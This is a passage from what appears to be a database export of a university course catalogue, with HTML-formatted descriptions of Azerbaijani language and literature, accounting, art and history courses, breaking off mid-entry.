disciplines. The topics cover culture, environment, customs and traditions, history, economics, etc.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>AZLL 102.&nbsp; Introduction to Writing (3 credit)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite AZLL 101.</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Writing Strategy. Planning and organizing source material for writing, revising, editing and proofreading. Summaries, critiques and syntheses of texts. Essay and creative writing. Academic and Business writing. Prose style.&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>AZLL 103: Azerbaijani Language for Foreigners (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: NONE</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The main emphasis is the communicative role of four skills – reading, writing, listening, and speaking. These skills are taught within the frame of topics such as greetings, making acquaintances, congratulations and thankfulness, (dis) approvals, requests, demands, introductions, apologizing, condolences, praying, etc.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>AZLL 104: Advanced Azerbaijani Language (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: AZLL 101</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">More complex in nature, this course covers the following problematic areas of the Azerbaijani language. Semantic structure, meaning its narrowing and broadening; semantic groupings in Azerbaijani language. Grammar, basic divisions and relations within them; grammatical categories. Syntax, the types of phrases and the sentences; text linguistics and its problematic issues; syntax of poetry; punctuation marks and their functions.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>AZLL 105: Azerbaijani Literature (University Requirement) (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: AZLL 101</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The course covers study of the Azerbaijani literature from Ancient to contemporary times through historical periods. The life and works of prominent Azerbaijani poets and writers, as well as their literary works are studied. The course also covers brief information about the history and theory of literature, main goals and objectives of literary critics, etc. Central to the coursework is the study and discussion of selected works of prominent figures in Azerbaijani literature.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>AZLL 106: Modern Azerbaijani Language 1 (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: NONE</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">This course discusses the sound system, phonetic phenomenon and rules of Azerbaijan literary language. It explains pronunciation norms, formation and type of writing, peculiarities of alphabet, vocabulary structure and its richness, features and the ways of development. Information is given about principles used in the orthography of Azerbaijani. The characteristic meaning of words, types of proper names, and their origin and usage in Azerbaijani literary language are elucidated in this course. It also gives information about the dictionary and its various types, rules of dictionary compilation, and ways of word-building in the literary language.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>AZLL 107-307: History of Azerbaijani Literature 1-5</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The course covers the emergence and evolution of the Azerbaijani literature from the times of early folklore literature up to the present in chronological order and through the stages of its development. The life and works of individual writers and poets who lived in different periods are studied, their literary activities are explored, national and global issued on which they focused are analyzed, the literary influences of a writer/poet on others are determined, and their creative activities are systemized in line with the historical period they lived. Central to the coursework is the study of selected pieces of literary work by the students and discussions on these works. The course is divided into the following 5 parts – each part lasts one semester and consists of&nbsp;<strong>3 credits</strong>:</p><ul type=\"disc\" style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><li><strong>AZLL 107: History of Azerbaijani Literature 1:</strong></li></ul><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;Azerbaijani Folklore</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: NONE</strong></p><ul type=\"disc\" style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><li><strong>AZLL 109: History of Azerbaijani Literature 2:</strong></li></ul><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;Ancient and Medieval Literature Prerequisite: AZLL 107</strong></p><ul type=\"disc\" style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><li><strong>AZLL 207: History of Azerbaijani Literature 3:</strong></li></ul><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Azerbaijani Literature from 17<sup>th</sup>&nbsp;to mid-19<sup>th</sup>&nbsp;centuries&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: AZLL 109.</strong></p><ul type=\"disc\" style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><li><strong>AZLL 208: History of Azerbaijani Literature 4:</strong></li></ul><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Azerbaijani Literature from mid-19<sup>th</sup>&nbsp;to early 20<sup>th</sup>&nbsp;centuries</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: AZLL 207</strong></p><ul type=\"disc\" style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><li><strong>AZLL 307: History of Azerbaijani Literature 5:</strong></li></ul><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>20<sup>th</sup>&nbsp;century Azerbaijani Literature Prerequisite: AZLL 208</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>AZLL 108: Modern Azerbaijani Language 2 – Morphology (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: AZLL 106</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">All important practical problems concerning morphology are covered in the teaching of this subject. This curriculum analyzes the modern Azerbaijani grammatical system, its originality and other features. The words are grouped according to their meaning, form, function and rules of modification.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>AZLL 205: Advanced Azerbaijani Literature (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: AZLL 105</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">This course aims at giving optimal knowledge on advanced Azerbaijani Literature. It covers the latest Azerbaijani Literature, development of journalistic genres, searches for new forms and contents in literature. The course also includes written and oral compositions on the bases of classic and modern literary extracts.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>AZLL 206: Modern Azerbaijani Language 3 – Syntax (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: AZLL 108</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">It explains teaching of word combinations, syntactic relations, sentences, and their structural types. It also deals with punctuation marks and their proper use.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>AZLL 306: History of Azerbaijani Literary Language (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: AZLL 206</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">This course explores the main sources of Azerbaijani language history and its origin, the rise of literary language, and problems extant in development periods. It also surveys the historical and cultural conditions of the different periods. The role of outstanding personalities related to the developmental history of Azerbaijan literary language is given in chronological order.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>AZLL 416: Fundamentals of Literary Critics (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: Consent of instructor</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Fundamentals of Literary Critics as a subject is composed of three parts: Theory of Literature, History of Literature, and Literary Critique. This course mainly deals with issues covered in the Theory of Literature. Features of literary works and principles of reflecting real-life events, as well as the social importance and role of literary works are studied. The course also covers such topics as principles of literary creativity and rules of their development, unity of content and form, characteristics of different types and genres, structures of literary works, styles and methods, etc.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>AZLL 417: The Environment of Eastern Languages and Azerbaijani Literature (4 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: Consent of instructor</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The main objective of this course is to study role of Arabic and Persian rules of writing and literature in the formation of Azerbaijani rules of writing and literature.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>AZLL 512: Azerbaijani Dialectology (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: Consent of instructor</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Dialectology (dialects) and accents are constructed in this section of linguistics. This course explains the phonetic, lexical, morphological and syntactical properties of dialects and accents. It also provides an extensive classification of Azerbaijani dialects and accents on the principles of geographical territory and investigates the theoretical issues of dialectology.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>AZLL 513: Onomastics (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Prerequisite: Consent of instructor</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The types of special names in language, their origin and use are elucidated in the course. It gives information about scientific classification and descriptions of all kinds of onomastic units.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>AZLL 514: Textual Criticism (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Prerequisite: Consent of instructor</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Complex investigation of the historical roots and development of ways of textual criticism as a science, as well as modern textual criticism, its methods and principles are pursued in this course. The emergence and development of Azerbaijani textual criticism, Azerbaijani Middle Age manuscript books and booklets, scientific analyses of the manuscript text copies, exploration of text origins, attribution of the text (the determination of the author), research of text translations, text preparation for publications and etc. are comprehensively enlightened.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>AZLL 515: Azerbaijani Historical Grammar (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: Consent of instructor</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">This course provides general information about historical grammar, discusses the developmental processes of separate parts of speech, investigates historical Azerbaijani&nbsp;phonetics and morphology, analyses the origin of the language and historical development of its morphological features, and explains and elucidates the establishment of the modern language.</p>  <br></div>'),(1253,791,'en','Art (ART)','Art (ART)','<div><br></div><div><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>ACC 210: Principles of Accounting&nbsp;(3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Prerequisite: BSA 101</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">This is an introductory course in accounting. It covers such topics as accounting and business environment, translating business activities into accounting information, accounting cycle, merchandising operations, inventory, internal control and cash, receivables, liabilities, assets and intangibles, time value of money and financial statements, using information from accounting system for investment and management decisions.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>ACC 310: Financial Accounting (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Prerequisite: ACC 210</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The course introduces financial accounting concepts and principles. It is designed to be a combination of both accounting and finance that will lay a strong background for further studies in financial subjects. The course covers the following topics: accounting principles and concepts; balance sheets, accrual vs. cash basis of income measurement; income statement; journals and ledger recording; trial balance, accrual and deferral adjustments, the &nbsp;accounting cycle, sales, cash and accounts receivable; estimating uncorrectable accounts, valuing inventories, ratio and trend analysis, present and future value concepts; liabilities, statements of cash flows, stockholders’ equity, dividends and treasury stock.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>ACC 350: Accounting Information Systems (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Prerequisite: ACC 210, BSA 210</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">This course introduces the foundations of accounting information systems, provides knowledge and skills required by accountants as users, managers, designers, and evaluators of information systems. The topics covered include choosing, extracting, and analyzing relevant information to solve business problems, documenting and modeling business processes, developing information systems, and designing and evaluating internal controls in information systems, analyzing and resolving contemporary issues in accounting information systems.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>ACC 410: Managerial Accounting&nbsp;(3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: FIN 310, ACC 210</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The course covers approaches to providing accounting and processing information for effective management of for-profit and nonprofit organizations.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>ACC 415: Statutory Accounting (3 credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: ACC 210</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The course covers the study of statutory accounts and reporting requirements; domestic auditing standards; and domestic oil and gas accounting requirements.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>ACC 420: Financial Reporting (3 credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: ACC 210, FIN 310</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The course covers analysis of the International Financial Reporting Standards, focusing on revenue and expense recognition and the measurement of assets and liabilities; concepts and theories underlying financial statements; introduction to international reporting standards; balance sheet; income statement, statement of changes in equity; cash flow statement; cash and receivables; inventory; revenue and expense recognition; property, plant and equipment; intangible assets.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>ACC 430: International Accounting (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: ACC 210</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Securities regulation and trading; various national accounting standards; the harmonization of accounting standards internationally; accounting for the translation of transactions and foreign subsidiary financial statements.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>ACC 440: Cost Accounting (3 credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: ACC 210, FIN 310</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Students study cost accounting, accounts and investments; inventory accounts; manufacturing accounts; and material use variance accounts.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>ACC 450: Auditing (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: ACC 310</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The course develops student’s knowledge of auditing services. Topics include the role of auditing services in society, audit programs planning, design and implementation.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>ACC 490: Taxation&nbsp;(3 credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: ACC 310</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">This course introduces students to the tax concepts applicable to sole proprietorships, partnerships, corporations, estates, and trusts. Emphasis is placed on differences between tax and financial accounting concepts. In addition, students are exposed to accounting periods and methods, deferred compensation, tax planning, ethical practices, and tax research.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>ACC 800: Accounting for Financial Decisions (3 credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: None</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">This course is designed for graduate students. The course will focus on the financial decision makers. The purpose of this course is to introduce the «basic concepts» of accounting and finance. With knowledge in accounting and the basic elements of finance, one can understand how specific techniques and decision rules can be used. The course covers the following topics: basic accounting concepts, revenue and monetary systems, cost of sales and inventory, non-monetary assets, sources of capital, and strategic investment decisions.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>ACC 801: Financial Accounting (3 credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisites: None</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The course is designed for the graduate students majoring in Economics and Business Administration as a required course. This course will focus on the user of accounting information. The purpose of this course is to introduce the «basic concepts» of accounting. With knowledge in accounting, one can understand how specific techniques and decision rules can be used from accounting records. The course covers the following topics: analyzing transactions; the matching concept and adjusting process; completing the accounting cycle; accounting for different types of businesses; accounting systems, internal controls and cash; receivables; inventories; fixed assets and intangible assets; current liabilities; corporations: organization, capital stock transactions and dividends; corporations: income and taxes, stockholders’ equity and investments in stocks; bonds payable and investments into bonds; statement of cash flows; and financial statement analysis.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>ACC 810: Auditing (3 credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: ACC 800 or ACC 801</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The course provides knowledge important for the students majoring in Accounting and Finance. It includes planning audit, designing audit programs with internal control, audit evidence, audit work papers, cash and marketable securities, accounts receivable, inventories, property, plant and equipment, accounts payable and other liabilities, debt and equity capital losses and auditor’s reports. Casework is practiced.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>ACC 840: Management and Cost Accounting (3 credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: ACC 800 or ACC 801</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Use of accounting information for internal planning and control purposes; role of accounting in decisions concerning resource allocation, cost and performance analysis, evaluation of business units using data obtained from the accounting system. Use of cost information for operational and strategic control; application of statistical tools and decision models to accounting data for the purpose of facilitating managerial control; identifying cost behavior with respect to managerial decision; measuring and controlling the consumption of resources by a firms products; analyzing product cost systems in diverse production and non-manufacturing settings.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>ACC 860: Accounting Information Systems&nbsp;(3 credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: ACC 800 or ACC 801</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">This course introduces the foundations of accounting information systems, provides knowledge and skills required by accountants as users, managers, designers, and evaluators of information systems. The topics covered include choosing, extracting, and analyzing relevant information to solve business problems, documenting and modeling business processes, developing information systems, and designing and evaluating internal controls in information systems, analyzing and resolving contemporary issues in accounting information systems. This course focuses on the knowledge and skills required providing assurance for information systems for the purpose of managing business risk.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>ACC 870: International Accounting Practices (3 credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: ACC 800 or ACC 801</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">This course is designed to study and resolve accounting problems involved in international operations. It encompasses the comparative study of different national accounting systems, the problems caused by the existing differences in practices for international operations, and organizations which have emerged to reconcile differences and to handle international accounting problems.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>ACC 880: Advanced Accounting Topics (3 credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: ACC 800 or ACC 801, ACC 840</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">This course is specialized in accounting topics including accounting and reporting for business combinations, international accounting and foreign currency issues, partnership accounting and other topics.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong><a></a>ART 231: Painting (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: NONE</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Basic fundamentals of painting. Color and basic techniques. Studio work and exhibition.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><a></a><strong>HIST 116: History of Turks (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: consent of the instructor</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Comprehensive study of the history of the Caucasian Turkic peoples\' civilizations and cultures. There role in the process of shaping of the contemporary Caspian region\'s ethnic situation, especially their influence in the formation of Azerbaijani nation. The course embraces the history of the Caucasus Turkish Tribes and Fore Asia; formation of the Turkish States and empires in Siberia, Altay, Middle Asia, Western Europe, and on the shores of the Black Sea. Economics, culture, religion, and mode of the life of Turkish peoples are discussed.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>HIST 117: History of the Hun (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: consent of the instructor</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The course studies the historical origin of the Hun, their political and ethnic characteristics and geographical location. The historical role of the Hun in the formation of European and Asian, and in particular Azerbaijani ethnicity is of great importance. A study of history of the Hun is based on the Chinese, European and Caucasian sources, both written and archeological ones. Topics for research and course theses will be offered for persons interested.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>HIST 210: Pre-Islamic History of Azerbaijan and Its Neighbors (Ancient and Early Medieval Period) (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: NONE</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The course covers the period from the very beginning of civilization until the 8th century AD Comparative history of the ancient Azerbaijani people and the people of Georgia, Armenia, Daghestan, other Caucasian people is discussed. Emphasis is given to the formation of the states like Manna, Athropatheus, and Caucasian Albania.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>HIST 211: History of Azerbaijan (8th - 18th Centuries) (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: consent of the instructor</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">History of Azerbaijan of the Middle 